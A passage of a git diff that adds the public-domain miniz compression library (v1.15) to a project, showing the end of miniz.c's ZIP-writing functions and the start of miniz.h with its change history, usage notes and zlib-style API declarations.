(pZip->m_pWrite(pZip->m_pIO_opaque, cur_dst_file_ofs, pBuf, n) != n) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); + return MZ_FALSE; + } + cur_dst_file_ofs += n; + + comp_bytes_remaining -= n; + } + + bit_flags = MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_BIT_FLAG_OFS); + if (bit_flags & 8) + { + // Copy data descriptor + if (pSource_zip->m_pRead(pSource_zip->m_pIO_opaque, cur_src_file_ofs, pBuf, sizeof(mz_uint32) * 4) != sizeof(mz_uint32) * 4) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); + return MZ_FALSE; + } + + n = sizeof(mz_uint32) * ((MZ_READ_LE32(pBuf) == 0x08074b50) ? 4 : 3); + if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_dst_file_ofs, pBuf, n) != n) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); + return MZ_FALSE; + } + + cur_src_file_ofs += n; + cur_dst_file_ofs += n; + } + pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); + + // no zip64 support yet + if (cur_dst_file_ofs > 0xFFFFFFFF) + return MZ_FALSE; + + orig_central_dir_size = pState->m_central_dir.m_size; + + memcpy(central_header, pSrc_central_header, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE); + MZ_WRITE_LE32(central_header + MZ_ZIP_CDH_LOCAL_HEADER_OFS, local_dir_header_ofs); + if (!mz_zip_array_push_back(pZip, &pState->m_central_dir, central_header, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE)) + return MZ_FALSE; + + n = MZ_READ_LE16(pSrc_central_header + MZ_ZIP_CDH_FILENAME_LEN_OFS) + MZ_READ_LE16(pSrc_central_header + MZ_ZIP_CDH_EXTRA_LEN_OFS) + MZ_READ_LE16(pSrc_central_header + MZ_ZIP_CDH_COMMENT_LEN_OFS); + if (!mz_zip_array_push_back(pZip, &pState->m_central_dir, pSrc_central_header + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE, n)) + { + mz_zip_array_resize(pZip, &pState->m_central_dir, orig_central_dir_size, MZ_FALSE); + return MZ_FALSE; + } + + if (pState->m_central_dir.m_size > 0xFFFFFFFF) + return MZ_FALSE; + n = (mz_uint32)orig_central_dir_size; + if (!mz_zip_array_push_back(pZip, &pState->m_central_dir_offsets, &n, 1)) + { + mz_zip_array_resize(pZip, &pState->m_central_dir, orig_central_dir_size, MZ_FALSE); + return MZ_FALSE; + } + + pZip->m_total_files++; + pZip->m_archive_size = cur_dst_file_ofs; + + return MZ_TRUE; +} + +mz_bool mz_zip_writer_finalize_archive(mz_zip_archive *pZip) +{ + mz_zip_internal_state *pState; + mz_uint64 central_dir_ofs, central_dir_size; + mz_uint8 hdr[MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE]; + + if ((!pZip) || (!pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_WRITING)) + return MZ_FALSE; + + pState = pZip->m_pState; + + // no zip64 support yet + if ((pZip->m_total_files > 0xFFFF) || ((pZip->m_archive_size + pState->m_central_dir.m_size + MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE) > 0xFFFFFFFF)) + return MZ_FALSE; + + central_dir_ofs = 0; + central_dir_size = 0; + if (pZip->m_total_files) + { + // Write central directory + central_dir_ofs = pZip->m_archive_size; + central_dir_size = pState->m_central_dir.m_size; + pZip->m_central_directory_file_ofs = central_dir_ofs; + if (pZip->m_pWrite(pZip->m_pIO_opaque, central_dir_ofs, pState->m_central_dir.m_p, (size_t)central_dir_size) != central_dir_size) + return MZ_FALSE; + pZip->m_archive_size += central_dir_size; + } + + // Write end of central directory record + MZ_CLEAR_OBJ(hdr); + MZ_WRITE_LE32(hdr + MZ_ZIP_ECDH_SIG_OFS, MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG); + MZ_WRITE_LE16(hdr + MZ_ZIP_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS, pZip->m_total_files); + MZ_WRITE_LE16(hdr + MZ_ZIP_ECDH_CDIR_TOTAL_ENTRIES_OFS, pZip->m_total_files); + MZ_WRITE_LE32(hdr + MZ_ZIP_ECDH_CDIR_SIZE_OFS, central_dir_size); + MZ_WRITE_LE32(hdr + MZ_ZIP_ECDH_CDIR_OFS_OFS, central_dir_ofs); + + if (pZip->m_pWrite(pZip->m_pIO_opaque, pZip->m_archive_size, hdr, sizeof(hdr)) != sizeof(hdr)) + return MZ_FALSE; +#ifndef MINIZ_NO_STDIO + if ((pState->m_pFile) && (MZ_FFLUSH(pState->m_pFile) == EOF)) + return MZ_FALSE; +#endif // #ifndef MINIZ_NO_STDIO + + pZip->m_archive_size += sizeof(hdr); + + pZip->m_zip_mode = MZ_ZIP_MODE_WRITING_HAS_BEEN_FINALIZED; + return MZ_TRUE; +} + +mz_bool mz_zip_writer_finalize_heap_archive(mz_zip_archive *pZip, void **pBuf, size_t *pSize) +{ + if ((!pZip) || (!pZip->m_pState) || (!pBuf) || (!pSize)) + return MZ_FALSE; + if (pZip->m_pWrite != mz_zip_heap_write_func) + return MZ_FALSE; + if (!mz_zip_writer_finalize_archive(pZip)) + return MZ_FALSE; + + *pBuf = pZip->m_pState->m_pMem; + *pSize = pZip->m_pState->m_mem_size; + pZip->m_pState->m_pMem = NULL; + pZip->m_pState->m_mem_size = pZip->m_pState->m_mem_capacity = 0; + return MZ_TRUE; +} + +mz_bool mz_zip_writer_end(mz_zip_archive *pZip) +{ + mz_zip_internal_state *pState; + mz_bool status = MZ_TRUE; + if ((!pZip) || (!pZip->m_pState) || (!pZip->m_pAlloc) || (!pZip->m_pFree) || ((pZip->m_zip_mode != MZ_ZIP_MODE_WRITING) && (pZip->m_zip_mode != MZ_ZIP_MODE_WRITING_HAS_BEEN_FINALIZED))) + return MZ_FALSE; + + pState = pZip->m_pState; + pZip->m_pState = NULL; + mz_zip_array_clear(pZip, &pState->m_central_dir); + mz_zip_array_clear(pZip, &pState->m_central_dir_offsets); + mz_zip_array_clear(pZip, &pState->m_sorted_central_dir_offsets); + +#ifndef MINIZ_NO_STDIO + if (pState->m_pFile) + { + MZ_FCLOSE(pState->m_pFile); + pState->m_pFile = NULL; + } +#endif // #ifndef MINIZ_NO_STDIO + + if ((pZip->m_pWrite == mz_zip_heap_write_func) && (pState->m_pMem)) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pState->m_pMem); + pState->m_pMem = NULL; + } + + pZip->m_pFree(pZip->m_pAlloc_opaque, pState); + pZip->m_zip_mode = MZ_ZIP_MODE_INVALID; + return status; +} + +#ifndef MINIZ_NO_STDIO +mz_bool mz_zip_add_mem_to_archive_file_in_place(const char *pZip_filename, const char *pArchive_name, const void *pBuf, size_t buf_size, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags) +{ + mz_bool status, created_new_archive = MZ_FALSE; + mz_zip_archive zip_archive; + struct MZ_FILE_STAT_STRUCT file_stat; + MZ_CLEAR_OBJ(zip_archive); + if ((int)level_and_flags < 0) + level_and_flags = MZ_DEFAULT_LEVEL; + if ((!pZip_filename) || (!pArchive_name) || ((buf_size) && (!pBuf)) || ((comment_size) && (!pComment)) || ((level_and_flags & 0xF) > MZ_UBER_COMPRESSION)) + return MZ_FALSE; + if (!mz_zip_writer_validate_archive_name(pArchive_name)) + return MZ_FALSE; + if (MZ_FILE_STAT(pZip_filename, &file_stat) != 0) + { + // Create a new archive. + if (!mz_zip_writer_init_file(&zip_archive, pZip_filename, 0)) + return MZ_FALSE; + created_new_archive = MZ_TRUE; + } + else + { + // Append to an existing archive. + if (!mz_zip_reader_init_file(&zip_archive, pZip_filename, level_and_flags | MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY)) + return MZ_FALSE; + if (!mz_zip_writer_init_from_reader(&zip_archive, pZip_filename)) + { + mz_zip_reader_end(&zip_archive); + return MZ_FALSE; + } + } + status = mz_zip_writer_add_mem_ex(&zip_archive, pArchive_name, pBuf, buf_size, pComment, comment_size, level_and_flags, 0, 0); + // Always finalize, even if adding failed for some reason, so we have a valid central directory. (This may not always succeed, but we can try.) + if (!mz_zip_writer_finalize_archive(&zip_archive)) + status = MZ_FALSE; + if (!mz_zip_writer_end(&zip_archive)) + status = MZ_FALSE; + if ((!status) && (created_new_archive)) + { + // It's a new archive and something went wrong, so just delete it. + int ignoredStatus = MZ_DELETE_FILE(pZip_filename); + (void)ignoredStatus; + } + return status; +} + +void *mz_zip_extract_archive_file_to_heap(const char *pZip_filename, const char *pArchive_name, size_t *pSize, mz_uint flags) +{ + int file_index; + mz_zip_archive zip_archive; + void *p = NULL; + + if (pSize) + *pSize = 0; + + if ((!pZip_filename) || (!pArchive_name)) + return NULL; + + MZ_CLEAR_OBJ(zip_archive); + if (!mz_zip_reader_init_file(&zip_archive, pZip_filename, flags | MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY)) + return NULL; + + if ((file_index = mz_zip_reader_locate_file(&zip_archive, pArchive_name, NULL, flags)) >= 0) + p = mz_zip_reader_extract_to_heap(&zip_archive, file_index, pSize, flags); + + mz_zip_reader_end(&zip_archive); + return p; +} + +#endif // #ifndef MINIZ_NO_STDIO + +#endif // #ifndef MINIZ_NO_ARCHIVE_WRITING_APIS + +#endif // #ifndef MINIZ_NO_ARCHIVE_APIS + +#ifdef __cplusplus +} +#endif + +#endif // MINIZ_HEADER_FILE_ONLY + +/* + This is free and unencumbered software released into the public domain. + + Anyone is free to copy, modify, publish, use, compile, sell, or + distribute this software, either in source code form or as a compiled + binary, for any purpose, commercial or non-commercial, and by any + means. + + In jurisdictions that recognize copyright laws, the author or authors + of this software dedicate any and all copyright interest in the + software to the public domain. We make this dedication for the benefit + of the public at large and to the detriment of our heirs and + successors. We intend this dedication to be an overt act of + relinquishment in perpetuity of all present and future rights to this + software under copyright law. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. + IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR + OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, + ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR + OTHER DEALINGS IN THE SOFTWARE. + + For more information, please refer to +*/ diff --git a/dep/miniz/miniz.h b/dep/miniz/miniz.h new file mode 100644 index 0000000..ba05942 --- /dev/null +++ b/dep/miniz/miniz.h @@ -0,0 +1,930 @@ +#pragma once + +/* miniz.c v1.15 - public domain deflate/inflate, zlib-subset, ZIP reading/writing/appending, PNG writing + See "unlicense" statement at the end of this file. + Rich Geldreich , last updated Oct. 13, 2013 + Implements RFC 1950: http://www.ietf.org/rfc/rfc1950.txt and RFC 1951: http://www.ietf.org/rfc/rfc1951.txt + + Most API's defined in miniz.c are optional. For example, to disable the archive related functions just define + MINIZ_NO_ARCHIVE_APIS, or to get rid of all stdio usage define MINIZ_NO_STDIO (see the list below for more macros). + + * Change History + 10/13/13 v1.15 r4 - Interim bugfix release while I work on the next major release with Zip64 support (almost there!): + - Critical fix for the MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY bug (thanks kahmyong.moon@hp.com) which could cause locate files to not find files. This bug + would only have occured in earlier versions if you explicitly used this flag, OR if you used mz_zip_extract_archive_file_to_heap() or mz_zip_add_mem_to_archive_file_in_place() + (which used this flag). If you can't switch to v1.15 but want to fix this bug, just remove the uses of this flag from both helper funcs (and of course don't use the flag). + - Bugfix in mz_zip_reader_extract_to_mem_no_alloc() from kymoon when pUser_read_buf is not NULL and compressed size is > uncompressed size + - Fixing mz_zip_reader_extract_*() funcs so they don't try to extract compressed data from directory entries, to account for weird zipfiles which contain zero-size compressed data on dir entries. + Hopefully this fix won't cause any issues on weird zip archives, because it assumes the low 16-bits of zip external attributes are DOS attributes (which I believe they always are in practice). + - Fixing mz_zip_reader_is_file_a_directory() so it doesn't check the internal attributes, just the filename and external attributes + - mz_zip_reader_init_file() - missing MZ_FCLOSE() call if the seek failed + - Added cmake support for Linux builds which builds all the examples, tested with clang v3.3 and gcc v4.6. + - Clang fix for tdefl_write_image_to_png_file_in_memory() from toffaletti + - Merged MZ_FORCEINLINE fix from hdeanclark + - Fix include before config #ifdef, thanks emil.brink + - Added tdefl_write_image_to_png_file_in_memory_ex(): supports Y flipping (super useful for OpenGL apps), and explicit control over the compression level (so you can + set it to 1 for real-time compression). + - Merged in some compiler fixes from paulharris's github repro. + - Retested this build under Windows (VS 2010, including static analysis), tcc 0.9.26, gcc v4.6 and clang v3.3. + - Added example6.c, which dumps an image of the mandelbrot set to a PNG file. + - Modified example2 to help test the MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY flag more. + - In r3: Bugfix to mz_zip_writer_add_file() found during merge: Fix possible src file fclose() leak if alignment bytes+local header file write faiiled + - In r4: Minor bugfix to mz_zip_writer_add_from_zip_reader(): Was pushing the wrong central dir header offset, appears harmless in this release, but it became a problem in the zip64 branch + 5/20/12 v1.14 - MinGW32/64 GCC 4.6.1 compiler fixes: added MZ_FORCEINLINE, #include (thanks fermtect). + 5/19/12 v1.13 - From jason@cornsyrup.org and kelwert@mtu.edu - Fix mz_crc32() so it doesn't compute the wrong CRC-32's when mz_ulong is 64-bit. + - Temporarily/locally slammed in "typedef unsigned long mz_ulong" and re-ran a randomized regression test on ~500k files. + - Eliminated a bunch of warnings when compiling with GCC 32-bit/64. + - Ran all examples, miniz.c, and tinfl.c through MSVC 2008's /analyze (static analysis) option and fixed all warnings (except for the silly + "Use of the comma-operator in a tested expression.." analysis warning, which I purposely use to work around a MSVC compiler warning). + - Created 32-bit and 64-bit Codeblocks projects/workspace. Built and tested Linux executables. The codeblocks workspace is compatible with Linux+Win32/x64. + - Added miniz_tester solution/project, which is a useful little app derived from LZHAM's tester app that I use as part of the regression test. + - Ran miniz.c and tinfl.c through another series of regression testing on ~500,000 files and archives. + - Modified example5.c so it purposely disables a bunch of high-level functionality (MINIZ_NO_STDIO, etc.). (Thanks to corysama for the MINIZ_NO_STDIO bug report.) + - Fix ftell() usage in examples so they exit with an error on files which are too large (a limitation of the examples, not miniz itself). + 4/12/12 v1.12 - More comments, added low-level example5.c, fixed a couple minor level_and_flags issues in the archive API's. + level_and_flags can now be set to MZ_DEFAULT_COMPRESSION. Thanks to Bruce Dawson for the feedback/bug report. + 5/28/11 v1.11 - Added statement from unlicense.org + 5/27/11 v1.10 - Substantial compressor optimizations: + - Level 1 is now ~4x faster than before. The L1 compressor's throughput now varies between 70-110MB/sec. on a + - Core i7 (actual throughput varies depending on the type of data, and x64 vs. x86). + - Improved baseline L2-L9 compression perf. Also, greatly improved compression perf. issues on some file types. + - Refactored the compression code for better readability and maintainability. + - Added level 10 compression level (L10 has slightly better ratio than level 9, but could have a potentially large + drop in throughput on some files). + 5/15/11 v1.09 - Initial stable release. + + * Low-level Deflate/Inflate implementation notes: + + Compression: Use the "tdefl" API's. The compressor supports raw, static, and dynamic blocks, lazy or + greedy parsing, match length filtering, RLE-only, and Huffman-only streams. It performs and compresses + approximately as well as zlib. + + Decompression: Use the "tinfl" API's. The entire decompressor is implemented as a single function + coroutine: see tinfl_decompress(). It supports decompression into a 32KB (or larger power of 2) wrapping buffer, or into a memory + block large enough to hold the entire file. + + The low-level tdefl/tinfl API's do not make any use of dynamic memory allocation. + + * zlib-style API notes: + + miniz.c implements a fairly large subset of zlib. There's enough functionality present for it to be a drop-in + zlib replacement in many apps: + The z_stream struct, optional memory allocation callbacks + deflateInit/deflateInit2/deflate/deflateReset/deflateEnd/deflateBound + inflateInit/inflateInit2/inflate/inflateEnd + compress, compress2, compressBound, uncompress + CRC-32, Adler-32 - Using modern, minimal code size, CPU cache friendly routines. + Supports raw deflate streams or standard zlib streams with adler-32 checking. + + Limitations: + The callback API's are not implemented yet. No support for gzip headers or zlib static dictionaries. + I've tried to closely emulate zlib's various flavors of stream flushing and return status codes, but + there are no guarantees that miniz.c pulls this off perfectly. + + * PNG writing: See the tdefl_write_image_to_png_file_in_memory() function, originally written by + Alex Evans. Supports 1-4 bytes/pixel images. + + * ZIP archive API notes: + + The ZIP archive API's where designed with simplicity and efficiency in mind, with just enough abstraction to + get the job done with minimal fuss. There are simple API's to retrieve file information, read files from + existing archives, create new archives, append new files to existing archives, or clone archive data from + one archive to another. It supports archives located in memory or the heap, on disk (using stdio.h), + or you can specify custom file read/write callbacks. + + - Archive reading: Just call this function to read a single file from a disk archive: + + void *mz_zip_extract_archive_file_to_heap(const char *pZip_filename, const char *pArchive_name, + size_t *pSize, mz_uint zip_flags); + + For more complex cases, use the "mz_zip_reader" functions. Upon opening an archive, the entire central + directory is located and read as-is into memory, and subsequent file access only occurs when reading individual files. + + - Archives file scanning: The simple way is to use this function to scan a loaded archive for a specific file: + + int mz_zip_reader_locate_file(mz_zip_archive *pZip, const char *pName, const char *pComment, mz_uint flags); + + The locate operation can optionally check file comments too, which (as one example) can be used to identify + multiple versions of the same file in an archive. This function uses a simple linear search through the central + directory, so it's not very fast. + + Alternately, you can iterate through all the files in an archive (using mz_zip_reader_get_num_files()) and + retrieve detailed info on each file by calling mz_zip_reader_file_stat(). + + - Archive creation: Use the "mz_zip_writer" functions. The ZIP writer immediately writes compressed file data + to disk and builds an exact image of the central directory in memory. The central directory image is written + all at once at the end of the archive file when the archive is finalized. + + The archive writer can optionally align each file's local header and file data to any power of 2 alignment, + which can be useful when the archive will be read from optical media. Also, the writer supports placing + arbitrary data blobs at the very beginning of ZIP archives. Archives written using either feature are still + readable by any ZIP tool. + + - Archive appending: The simple way to add a single file to an archive is to call this function: + + mz_bool mz_zip_add_mem_to_archive_file_in_place(const char *pZip_filename, const char *pArchive_name, + const void *pBuf, size_t buf_size, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags); + + The archive will be created if it doesn't already exist, otherwise it'll be appended to. + Note the appending is done in-place and is not an atomic operation, so if something goes wrong + during the operation it's possible the archive could be left without a central directory (although the local + file headers and file data will be fine, so the archive will be recoverable). + + For more complex archive modification scenarios: + 1. The safest way is to use a mz_zip_reader to read the existing archive, cloning only those bits you want to + preserve into a new archive using using the mz_zip_writer_add_from_zip_reader() function (which compiles the + compressed file data as-is). When you're done, delete the old archive and rename the newly written archive, and + you're done. This is safe but requires a bunch of temporary disk space or heap memory. + + 2. Or, you can convert an mz_zip_reader in-place to an mz_zip_writer using mz_zip_writer_init_from_reader(), + append new files as needed, then finalize the archive which will write an updated central directory to the + original archive. (This is basically what mz_zip_add_mem_to_archive_file_in_place() does.) There's a + possibility that the archive's central directory could be lost with this method if anything goes wrong, though. + + - ZIP archive support limitations: + No zip64 or spanning support. Extraction functions can only handle unencrypted, stored or deflated files. + Requires streams capable of seeking. + + * This is a header file library, like stb_image.c. To get only a header file, either cut and paste the + below header, or create miniz.h, #define MINIZ_HEADER_FILE_ONLY, and then include miniz.c from it. + + * Important: For best perf. be sure to customize the below macros for your target platform: + #define MINIZ_USE_UNALIGNED_LOADS_AND_STORES 1 + #define MINIZ_LITTLE_ENDIAN 1 + #define MINIZ_HAS_64BIT_REGISTERS 1 + + * On platforms using glibc, Be sure to "#define _LARGEFILE64_SOURCE 1" before including miniz.c to ensure miniz + uses the 64-bit variants: fopen64(), stat64(), etc. Otherwise you won't be able to process large files + (i.e. 32-bit stat() fails for me on files > 0x7FFFFFFF bytes). +*/ + +#ifndef MINIZ_HEADER_INCLUDED +#define MINIZ_HEADER_INCLUDED + +#include + +// Defines to completely disable specific portions of miniz.c: +// If all macros here are defined the only functionality remaining will be CRC-32, adler-32, tinfl, and tdefl. + +// Define MINIZ_NO_STDIO to disable all usage and any functions which rely on stdio for file I/O. +//#define MINIZ_NO_STDIO + +// If MINIZ_NO_TIME is specified then the ZIP archive functions will not be able to get the current time, or +// get/set file times, and the C run-time funcs that get/set times won't be called. +// The current downside is the times written to your archives will be from 1979. +#define MINIZ_NO_TIME + +// Define MINIZ_NO_ARCHIVE_APIS to disable all ZIP archive API's. +//#define MINIZ_NO_ARCHIVE_APIS + +// Define MINIZ_NO_ARCHIVE_APIS to disable all writing related ZIP archive API's. +//#define MINIZ_NO_ARCHIVE_WRITING_APIS + +// Define MINIZ_NO_ZLIB_APIS to remove all ZLIB-style compression/decompression API's. +//#define MINIZ_NO_ZLIB_APIS + +// Define MINIZ_NO_ZLIB_COMPATIBLE_NAME to disable zlib names, to prevent conflicts against stock zlib. +//#define MINIZ_NO_ZLIB_COMPATIBLE_NAMES + +// Define MINIZ_NO_MALLOC to disable all calls to malloc, free, and realloc. +// Note if MINIZ_NO_MALLOC is defined then the user must always provide custom user alloc/free/realloc +// callbacks to the zlib and archive API's, and a few stand-alone helper API's which don't provide custom user +// functions (such as tdefl_compress_mem_to_heap() and tinfl_decompress_mem_to_heap()) won't work. +//#define MINIZ_NO_MALLOC + +#if defined(__TINYC__) && (defined(__linux) || defined(__linux__)) + // TODO: Work around "error: include file 'sys\utime.h' when compiling with tcc on Linux + #define MINIZ_NO_TIME +#endif + +#if !defined(MINIZ_NO_TIME) && !defined(MINIZ_NO_ARCHIVE_APIS) + #include +#endif + +#if defined(_M_IX86) || defined(_M_X64) || defined(__i386__) || defined(__i386) || defined(__i486__) || defined(__i486) || defined(i386) || defined(__ia64__) || defined(__x86_64__) +// MINIZ_X86_OR_X64_CPU is only used to help set the below macros. +#define MINIZ_X86_OR_X64_CPU 1 +#endif + +#if (__BYTE_ORDER__==__ORDER_LITTLE_ENDIAN__) || MINIZ_X86_OR_X64_CPU +// Set MINIZ_LITTLE_ENDIAN to 1 if the processor is little endian. +#define MINIZ_LITTLE_ENDIAN 1 +#endif + +#if MINIZ_X86_OR_X64_CPU +// Set MINIZ_USE_UNALIGNED_LOADS_AND_STORES to 1 on CPU's that permit efficient integer loads and stores from unaligned addresses. +#define MINIZ_USE_UNALIGNED_LOADS_AND_STORES 1 +#endif + +#if defined(_M_X64) || defined(_WIN64) || defined(__MINGW64__) || defined(_LP64) || defined(__LP64__) || defined(__ia64__) || defined(__x86_64__) +// Set MINIZ_HAS_64BIT_REGISTERS to 1 if operations on 64-bit integers are reasonably fast (and don't involve compiler generated calls to helper functions). +#define MINIZ_HAS_64BIT_REGISTERS 1 +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +// ------------------- zlib-style API Definitions. + +// For more compatibility with zlib, miniz.c uses unsigned long for some parameters/struct members. Beware: mz_ulong can be either 32 or 64-bits! +typedef unsigned long mz_ulong; + +// mz_free() internally uses the MZ_FREE() macro (which by default calls free() unless you've modified the MZ_MALLOC macro) to release a block allocated from the heap. +void mz_free(void *p); + +#define MZ_ADLER32_INIT (1) +// mz_adler32() returns the initial adler-32 value to use when called with ptr==NULL. +mz_ulong mz_adler32(mz_ulong adler, const unsigned char *ptr, size_t buf_len); + +#define MZ_CRC32_INIT (0) +// mz_crc32() returns the initial CRC-32 value to use when called with ptr==NULL. +mz_ulong mz_crc32(mz_ulong crc, const unsigned char *ptr, size_t buf_len); + +// Compression strategies. +enum { MZ_DEFAULT_STRATEGY = 0, MZ_FILTERED = 1, MZ_HUFFMAN_ONLY = 2, MZ_RLE = 3, MZ_FIXED = 4 }; + +// Method +#define MZ_DEFLATED 8 + +#ifndef MINIZ_NO_ZLIB_APIS + +// Heap allocation callbacks. +// Note that mz_alloc_func parameter types purpsosely differ from zlib's: items/size is size_t, not unsigned long. +typedef void *(*mz_alloc_func)(void *opaque, size_t items, size_t size); +typedef void (*mz_free_func)(void *opaque, void *address); +typedef void *(*mz_realloc_func)(void *opaque, void *address, size_t items, size_t size); + +#define MZ_VERSION "9.1.15" +#define MZ_VERNUM 0x91F0 +#define MZ_VER_MAJOR 9 +#define MZ_VER_MINOR 1 +#define MZ_VER_REVISION 15 +#define MZ_VER_SUBREVISION 0 + +// Flush values. For typical usage you only need MZ_NO_FLUSH and MZ_FINISH. The other values are for advanced use (refer to the zlib docs). +enum { MZ_NO_FLUSH = 0, MZ_PARTIAL_FLUSH = 1, MZ_SYNC_FLUSH = 2, MZ_FULL_FLUSH = 3, MZ_FINISH = 4, MZ_BLOCK = 5 }; + +// Return status codes. MZ_PARAM_ERROR is non-standard. +enum { MZ_OK = 0, MZ_STREAM_END = 1, MZ_NEED_DICT = 2, MZ_ERRNO = -1, MZ_STREAM_ERROR = -2, MZ_DATA_ERROR = -3, MZ_MEM_ERROR = -4, MZ_BUF_ERROR = -5, MZ_VERSION_ERROR = -6, MZ_PARAM_ERROR = -10000 }; + +// Compression levels: 0-9 are the standard zlib-style levels, 10 is best possible compression (not zlib compatible, and may be very slow), MZ_DEFAULT_COMPRESSION=MZ_DEFAULT_LEVEL. +enum { MZ_NO_COMPRESSION = 0, MZ_BEST_SPEED = 1, MZ_BEST_COMPRESSION = 9, MZ_UBER_COMPRESSION = 10, MZ_DEFAULT_LEVEL = 6, MZ_DEFAULT_COMPRESSION = -1 }; + +// Window bits +#define MZ_DEFAULT_WINDOW_BITS 15 + +struct mz_internal_state; + +// Compression/decompression stream struct. +typedef struct mz_stream_s +{ + const unsigned char *next_in; // pointer to next byte to read + unsigned int avail_in; // number of bytes available at next_in + mz_ulong total_in; // total number of bytes consumed so far + + unsigned char *next_out; // pointer to next byte to write + unsigned int avail_out; // number of bytes that can be written to next_out + mz_ulong total_out; // total number of bytes produced so far + + char *msg; // error msg (unused) + struct mz_internal_state *state; // internal state, allocated by zalloc/zfree + + mz_alloc_func zalloc; // optional heap allocation function (defaults to malloc) + mz_free_func zfree; // optional heap free function (defaults to free) + void *opaque; // heap alloc function user pointer + + int data_type; // data_type (unused) + mz_ulong adler; // adler32 of the source or uncompressed data + mz_ulong reserved; // not used +} mz_stream; + +typedef mz_stream *mz_streamp; + +// Returns the version string of miniz.c. +const char *mz_version(void); + +// mz_deflateInit() initializes a compressor with default options: +// Parameters: +// pStream must point to an initialized mz_stream struct. +// level must be between [MZ_NO_COMPRESSION, MZ_BEST_COMPRESSION]. +// level 1 enables a specially optimized compression function that's been optimized purely for performance, not ratio. +// (This special func. is currently only enabled when MINIZ_USE_UNALIGNED_LOADS_AND_STORES and MINIZ_LITTLE_ENDIAN are defined.) +// Return values: +// MZ_OK on success. +// MZ_STREAM_ERROR if the stream is bogus. +// MZ_PARAM_ERROR if the input parameters are bogus. +// MZ_MEM_ERROR on out of memory. +int mz_deflateInit(mz_streamp pStream, int level); + +// mz_deflateInit2() is like mz_deflate(), except with more control: +// Additional parameters: +// method must be MZ_DEFLATED +// window_bits must be MZ_DEFAULT_WINDOW_BITS (to wrap the deflate stream with zlib header/adler-32 footer) or -MZ_DEFAULT_WINDOW_BITS (raw deflate/no header or footer) +// mem_level must be between [1, 9] (it's checked but ignored by miniz.c) +int mz_deflateInit2(mz_streamp pStream, int level, int method, int window_bits, int mem_level, int strategy); + +// Quickly resets a compressor without having to reallocate anything. Same as calling mz_deflateEnd() followed by mz_deflateInit()/mz_deflateInit2(). +int mz_deflateReset(mz_streamp pStream); + +// mz_deflate() compresses the input to output, consuming as much of the input and producing as much output as possible. +// Parameters: +// pStream is the stream to read from and write to. You must initialize/update the next_in, avail_in, next_out, and avail_out members. +// flush may be MZ_NO_FLUSH, MZ_PARTIAL_FLUSH/MZ_SYNC_FLUSH, MZ_FULL_FLUSH, or MZ_FINISH. +// Return values: +// MZ_OK on success (when flushing, or if more input is needed but not available, and/or there's more output to be written but the output buffer is full). +// MZ_STREAM_END if all input has been consumed and all output bytes have been written. Don't call mz_deflate() on the stream anymore. +// MZ_STREAM_ERROR if the stream is bogus. +// MZ_PARAM_ERROR if one of the parameters is invalid. +// MZ_BUF_ERROR if no forward progress is possible because the input and/or output buffers are empty. (Fill up the input buffer or free up some output space and try again.) +int mz_deflate(mz_streamp pStream, int flush); + +// mz_deflateEnd() deinitializes a compressor: +// Return values: +// MZ_OK on success. +// MZ_STREAM_ERROR if the stream is bogus. +int mz_deflateEnd(mz_streamp pStream); + +// mz_deflateBound() returns a (very) conservative upper bound on the amount of data that could be generated by deflate(), assuming flush is set to only MZ_NO_FLUSH or MZ_FINISH. +mz_ulong mz_deflateBound(mz_streamp pStream, mz_ulong source_len); + +// Single-call compression functions mz_compress() and mz_compress2(): +// Returns MZ_OK on success, or one of the error codes from mz_deflate() on failure. +int mz_compress(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len); +int mz_compress2(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len, int level); + +// mz_compressBound() returns a (very) conservative upper bound on the amount of data that could be generated by calling mz_compress(). +mz_ulong mz_compressBound(mz_ulong source_len); + +// Initializes a decompressor. +int mz_inflateInit(mz_streamp pStream); + +// mz_inflateInit2() is like mz_inflateInit() with an additional option that controls the window size and whether or not the stream has been wrapped with a zlib header/footer: +// window_bits must be MZ_DEFAULT_WINDOW_BITS (to parse zlib header/footer) or -MZ_DEFAULT_WINDOW_BITS (raw deflate). +int mz_inflateInit2(mz_streamp pStream, int window_bits); + +// Decompresses the input stream to the output, consuming only as much of the input as needed, and writing as much to the output as possible. +// Parameters: +// pStream is the stream to read from and write to. You must initialize/update the next_in, avail_in, next_out, and avail_out members. +// flush may be MZ_NO_FLUSH, MZ_SYNC_FLUSH, or MZ_FINISH. +// On the first call, if flush is MZ_FINISH it's assumed the input and output buffers are both sized large enough to decompress the entire stream in a single call (this is slightly faster). +// MZ_FINISH implies that there are no more source bytes available beside what's already in the input buffer, and that the output buffer is large enough to hold the rest of the decompressed data. +// Return values: +// MZ_OK on success. Either more 